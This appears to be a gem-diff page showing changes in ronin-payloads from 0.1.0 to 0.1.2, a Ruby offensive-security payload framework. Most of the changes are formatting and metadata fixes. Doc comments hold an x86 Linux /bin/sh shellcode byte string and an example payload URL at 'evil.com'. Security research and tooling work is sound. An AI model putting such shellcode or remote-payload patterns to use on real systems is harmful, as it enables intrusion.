ronin-payloads 0.1.0 → 0.1.2
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +15 -1
- data/.rubocop.yml +42 -0
- data/ChangeLog.md +24 -1
- data/Gemfile +10 -7
- data/Rakefile +3 -1
- data/bin/ronin-payloads +6 -7
- data/data/templates/payload.rb.erb +2 -2
- data/examples/bin_sh.rb +4 -0
- data/lib/ronin/payloads/asm_payload.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +3 -0
- data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/java/reverse_shell.rb +4 -0
- data/lib/ronin/payloads/builtin/php/cmd_exec.rb +4 -3
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +2 -2
- data/lib/ronin/payloads/builtin/test/open_redirect.rb +3 -3
- data/lib/ronin/payloads/builtin/test/xss.rb +3 -3
- data/lib/ronin/payloads/c_payload.rb +1 -1
- data/lib/ronin/payloads/cli/commands/build.rb +10 -12
- data/lib/ronin/payloads/cli/commands/encode.rb +16 -20
- data/lib/ronin/payloads/cli/commands/launch.rb +2 -2
- data/lib/ronin/payloads/cli/commands/list.rb +5 -5
- data/lib/ronin/payloads/cli/commands/new.rb +1 -1
- data/lib/ronin/payloads/cli/commands/show.rb +2 -1
- data/lib/ronin/payloads/cli/encoder_methods.rb +12 -8
- data/lib/ronin/payloads/cli/format_option.rb +2 -2
- data/lib/ronin/payloads/cli/generator/payload_types.rb +1 -0
- data/lib/ronin/payloads/cli/payload_methods.rb +11 -8
- data/lib/ronin/payloads/encoders/builtin/html/encode.rb +1 -0
- data/lib/ronin/payloads/encoders/builtin/js/encode.rb +1 -0
- data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +1 -0
- data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +1 -0
- data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +1 -0
- data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +1 -0
- data/lib/ronin/payloads/encoders/encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/exceptions.rb +1 -0
- data/lib/ronin/payloads/encoders/html_encoder.rb +1 -0
- data/lib/ronin/payloads/encoders/javascript_encoder.rb +1 -0
- data/lib/ronin/payloads/encoders/pipeline.rb +1 -0
- data/lib/ronin/payloads/encoders/powershell_encoder.rb +1 -0
- data/lib/ronin/payloads/encoders/registry.rb +4 -0
- data/lib/ronin/payloads/encoders/shell_encoder.rb +1 -0
- data/lib/ronin/payloads/encoders/sql_encoder.rb +1 -0
- data/lib/ronin/payloads/encoders/xml_encoder.rb +1 -0
- data/lib/ronin/payloads/exceptions.rb +1 -0
- data/lib/ronin/payloads/go_payload.rb +1 -1
- data/lib/ronin/payloads/java_payload.rb +1 -1
- data/lib/ronin/payloads/metadata/arch.rb +1 -0
- data/lib/ronin/payloads/metadata/os.rb +1 -0
- data/lib/ronin/payloads/mixins/bind_shell.rb +2 -2
- data/lib/ronin/payloads/mixins/post_ex.rb +0 -1
- data/lib/ronin/payloads/mixins/reverse_shell.rb +0 -1
- data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
- data/lib/ronin/payloads/mixins/typescript.rb +1 -2
- data/lib/ronin/payloads/payload.rb +8 -7
- data/lib/ronin/payloads/registry.rb +3 -0
- data/lib/ronin/payloads/rust_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode_payload.rb +8 -8
- data/lib/ronin/payloads/url_payload.rb +2 -2
- data/lib/ronin/payloads/version.rb +1 -1
- data/lib/ronin/payloads.rb +1 -0
- data/man/ronin-payloads-build.1 +1 -1
- data/man/ronin-payloads-build.1.md +1 -1
- data/man/ronin-payloads-encode.1 +1 -1
- data/man/ronin-payloads-encode.1.md +1 -1
- data/man/ronin-payloads-encoder.1 +1 -1
- data/man/ronin-payloads-encoder.1.md +1 -1
- data/man/ronin-payloads-encoders.1 +1 -1
- data/man/ronin-payloads-encoders.1.md +1 -1
- data/man/ronin-payloads-irb.1 +1 -1
- data/man/ronin-payloads-irb.1.md +1 -1
- data/man/ronin-payloads-launch.1 +1 -1
- data/man/ronin-payloads-launch.1.md +1 -1
- data/man/ronin-payloads-list.1 +1 -1
- data/man/ronin-payloads-list.1.md +1 -1
- data/man/ronin-payloads.1 +8 -8
- data/man/ronin-payloads.1.md +8 -8
- data/ronin-payloads.gemspec +3 -4
- metadata +3 -2
@@ -33,21 +33,21 @@ module Ronin
|
|
33
33
|
#
|
34
34
|
# #!/usr/bin/env -S ronin-payload build -f
|
35
35
|
# require 'ronin/payloads/shellcode_payload'
|
36
|
-
#
|
36
|
+
#
|
37
37
|
# module Ronin
|
38
38
|
# module Payloads
|
39
39
|
# class LinuxX86BinSh < ShellcodePayload
|
40
|
-
#
|
40
|
+
#
|
41
41
|
# register 'shellcode/linux/x86/bin_sh'
|
42
42
|
#
|
43
43
|
# summary 'x86 Linux /bin/sh shellcode'
|
44
44
|
# description <<~EOS
|
45
45
|
# Shellcode that spawns a local /bin/sh shell
|
46
46
|
# EOS
|
47
|
-
#
|
47
|
+
#
|
48
48
|
# arch :x86
|
49
49
|
# os :linux
|
50
|
-
#
|
50
|
+
#
|
51
51
|
# def build
|
52
52
|
# @payload = "1\xc0Ph//shh/bin\x89\xdcPS\x89\xcc1\xd2\xcd\x0b"
|
53
53
|
# end
|
@@ -59,21 +59,21 @@ module Ronin
|
|
59
59
|
#
|
60
60
|
# #!/usr/bin/env -S ronin-payload build -f
|
61
61
|
# require 'ronin/payloads/shellcode_payload'
|
62
|
-
#
|
62
|
+
#
|
63
63
|
# module Ronin
|
64
64
|
# module Payloads
|
65
65
|
# class LinuxX86BinSh < ShellcodePayload
|
66
|
-
#
|
66
|
+
#
|
67
67
|
# register 'shellcode/linux/x86/bin_sh'
|
68
68
|
#
|
69
69
|
# summary 'x86 Linux /bin/sh shellcode'
|
70
70
|
# description <<~EOS
|
71
71
|
# Shellcode that spawns a local /bin/sh shell
|
72
72
|
# EOS
|
73
|
-
#
|
73
|
+
#
|
74
74
|
# arch :x86
|
75
75
|
# os :linux
|
76
|
-
#
|
76
|
+
#
|
77
77
|
# def build
|
78
78
|
# shellcode do
|
79
79
|
# xor eax, eax
|
@@ -29,7 +29,7 @@ module Ronin
|
|
29
29
|
# ## Example
|
30
30
|
#
|
31
31
|
# class MyHostedPayload < URLPayload
|
32
|
-
#
|
32
|
+
#
|
33
33
|
# url 'https://evil.com/downloads/my_payload'
|
34
34
|
#
|
35
35
|
# end
|
@@ -53,7 +53,7 @@ module Ronin
|
|
53
53
|
@url = new_url
|
54
54
|
else
|
55
55
|
@url || if superclass < URLPayload
|
56
|
-
superclass.url ||
|
56
|
+
superclass.url ||
|
57
57
|
raise(NotImplementedError,"#{self} did not define a url")
|
58
58
|
end
|
59
59
|
end
|
data/lib/ronin/payloads.rb
CHANGED
data/man/ronin-payloads-build.1
CHANGED
data/man/ronin-payloads-encode.1
CHANGED
data/man/ronin-payloads-irb.1
CHANGED
data/man/ronin-payloads-irb.1.md
CHANGED
data/man/ronin-payloads-launch.1
CHANGED
data/man/ronin-payloads-list.1
CHANGED
data/man/ronin-payloads.1
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
.\" Generated by kramdown-man 0.1.8
|
2
2
|
.\" https://github.com/postmodern/kramdown-man#readme
|
3
|
-
.TH ronin-payloads 1 "
|
3
|
+
.TH ronin-payloads 1 "2023-02-01" Ronin "User Manuals"
|
4
4
|
.LP
|
5
5
|
.SH SYNOPSIS
|
6
6
|
.LP
|
@@ -27,31 +27,31 @@ Print help information
|
|
27
27
|
.SH COMMANDS
|
28
28
|
.LP
|
29
29
|
.TP
|
30
|
-
\
|
30
|
+
\fBbuild\fR
|
31
31
|
Builds a payload\.
|
32
32
|
.LP
|
33
33
|
.TP
|
34
|
-
\
|
34
|
+
\fBencode\fR
|
35
35
|
Encodes a payload with one or more payload encoders\.
|
36
36
|
.LP
|
37
37
|
.TP
|
38
|
-
\
|
38
|
+
\fBencoders\fR
|
39
39
|
Lists available encoders\.
|
40
40
|
.LP
|
41
41
|
.TP
|
42
|
-
\
|
42
|
+
\fBirb\fR
|
43
43
|
Starts ronin\-payload\[cq]s interactive Ruby shell\.
|
44
44
|
.LP
|
45
45
|
.TP
|
46
|
-
\
|
46
|
+
\fBlaunch\fR
|
47
47
|
Launches a payload\.
|
48
48
|
.LP
|
49
49
|
.TP
|
50
|
-
\
|
50
|
+
\fBlist\fR
|
51
51
|
Lists available payloads\.
|
52
52
|
.LP
|
53
53
|
.TP
|
54
|
-
\
|
54
|
+
\fBhelp\fR
|
55
55
|
Lists available commands or shows help about a specific command\.
|
56
56
|
.LP
|
57
57
|
.SH AUTHOR
|
data/man/ronin-payloads.1.md
CHANGED
@@ -1,4 +1,4 @@
|
|
1
|
-
# ronin-payloads 1 "
|
1
|
+
# ronin-payloads 1 "2023-02-01" Ronin "User Manuals"
|
2
2
|
|
3
3
|
## SYNOPSIS
|
4
4
|
|
@@ -20,25 +20,25 @@ Runs a `ronin-payloads` *COMMAND*.
|
|
20
20
|
|
21
21
|
## COMMANDS
|
22
22
|
|
23
|
-
|
23
|
+
`build`
|
24
24
|
Builds a payload.
|
25
25
|
|
26
|
-
|
26
|
+
`encode`
|
27
27
|
Encodes a payload with one or more payload encoders.
|
28
28
|
|
29
|
-
|
29
|
+
`encoders`
|
30
30
|
Lists available encoders.
|
31
31
|
|
32
|
-
|
32
|
+
`irb`
|
33
33
|
Starts ronin-payload's interactive Ruby shell.
|
34
34
|
|
35
|
-
|
35
|
+
`launch`
|
36
36
|
Launches a payload.
|
37
37
|
|
38
|
-
|
38
|
+
`list`
|
39
39
|
Lists available payloads.
|
40
40
|
|
41
|
-
|
41
|
+
`help`
|
42
42
|
Lists available commands or shows help about a specific command.
|
43
43
|
|
44
44
|
## AUTHOR
|
data/ronin-payloads.gemspec
CHANGED
@@ -1,5 +1,4 @@
|
|
1
|
-
#
|
2
|
-
|
1
|
+
# frozen_string_literal: true
|
3
2
|
require 'yaml'
|
4
3
|
|
5
4
|
Gem::Specification.new do |gem|
|
@@ -22,7 +21,7 @@ Gem::Specification.new do |gem|
|
|
22
21
|
gem.homepage = gemspec['homepage']
|
23
22
|
gem.metadata = gemspec['metadata'] if gemspec['metadata']
|
24
23
|
|
25
|
-
glob =
|
24
|
+
glob = ->(patterns) { gem.files & Dir[*patterns] }
|
26
25
|
|
27
26
|
gem.files = `git ls-files`.split($/)
|
28
27
|
gem.files = glob[gemspec['files']] if gemspec['files']
|
@@ -46,7 +45,7 @@ Gem::Specification.new do |gem|
|
|
46
45
|
gem.required_rubygems_version = gemspec['required_rubygems_version']
|
47
46
|
gem.post_install_message = gemspec['post_install_message']
|
48
47
|
|
49
|
-
split =
|
48
|
+
split = ->(string) { string.split(/,\s*/) }
|
50
49
|
|
51
50
|
if gemspec['dependencies']
|
52
51
|
gemspec['dependencies'].each do |name,versions|
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: ronin-payloads
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.2
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Postmodern
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-
|
11
|
+
date: 2023-06-09 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: ronin-support
|
@@ -111,6 +111,7 @@ files:
|
|
111
111
|
- ".github/workflows/ruby.yml"
|
112
112
|
- ".gitignore"
|
113
113
|
- ".rspec"
|
114
|
+
- ".rubocop.yml"
|
114
115
|
- ".ruby-version"
|
115
116
|
- ".yardopts"
|
116
117
|
- COPYING.txt
|